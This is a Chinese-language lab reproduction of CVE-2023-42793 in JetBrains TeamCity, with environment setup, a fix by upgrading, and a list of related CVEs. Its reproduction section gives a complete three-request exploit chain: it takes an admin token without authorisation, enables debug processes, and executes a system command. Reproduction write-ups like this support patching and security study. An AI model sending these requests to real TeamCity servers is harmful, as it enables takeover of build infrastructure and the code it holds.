0x01 简介

TeamCity是一款功能强大的持续集成（Continue Integration）工具，包括服务器端和客户端，支持Java，.NET项目开发。

0x02 漏洞概述

漏洞编号：CVE-2023-42793

2023年Jetbrain官方披露CVE-2023-42793 TeamCity 认证绕过与远程代码执行漏洞，攻击者可构造恶意请求创建token，并利用相关功能执行任意代码，控制服务器。

0x03 影响版本

JetBrains TeamCity < 2023.5.3

0x04 环境搭建

https://www.jetbrains.com/zh-cn/teamcity/download/other.html

选择2023.05.2版本

下载后按照自行需求进行配置即可，此处环境搭建时一路确定


最后经过几分钟的初始化后，出现如下登录界面则表示环境搭建成功


0x05 漏洞复现

越权获取token

POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: 192.168.31.20:8111
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Origin: http://localhost:8111
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:8111/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

携带token去开启调试模式

POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: 192.168.31.20:8111
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Origin: http://localhost:8111
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:8111/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.WGxjY2lvWjk1enk2TlV0YVdzWExvWnE1Z

访问/app/rest/debug/processes，命令执行

POST /app/rest/debug/processes?exePath=whoami HTTP/1.1
Host: 192.168.31.20:8111
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Origin: http://localhost:8111
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:8111/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.WGxjY2lvWjk1enk2TlV0YVdzWExvWnE

0x06 修复方式

升级 teamcity 至官方最新版本。

历史漏洞

CVE-2024-23917-前台-POC已公开

CVE-2024-27198-前台-POC已公开

CVE-2024-27199-前台-POC已公开

CVE-2023-42793-前台-POC已公开